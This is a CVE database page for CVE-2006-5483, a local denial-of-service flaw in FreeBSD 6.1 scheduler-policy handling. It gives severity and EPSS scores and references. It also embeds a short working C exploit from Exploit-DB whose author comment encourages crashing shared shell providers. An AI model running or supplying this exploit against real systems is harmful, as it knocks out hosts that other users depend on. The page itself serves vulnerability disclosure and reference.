CVE-2006-5483 : Detail

CVE-2006-5483

0.24%V4
Local
2006-10-24
20h00 +00:00
2006-12-11
09h00 +00:00
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NVD
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CVE Descriptions

p1003_1b.c in FreeBSD 6.1 allows local users to cause an unspecified denial of service by setting a scheduler policy, which should only be settable by root.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 2542

Publication date : 2006-10-12 22h00 +00:00
Author : kokanin
EDB Verified : Yes

/* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS. lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing) wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever. usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers. */ #include <sched.h> int main(){ struct sched_param lol; lol.sched_priority = sched_get_priority_max(SCHED_FIFO); sched_setscheduler(0,SCHED_FIFO,&lol); for(;;){} } // milw0rm.com [2006-10-13]

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 6.1

References

http://secunia.com/advisories/22413
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/20517
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.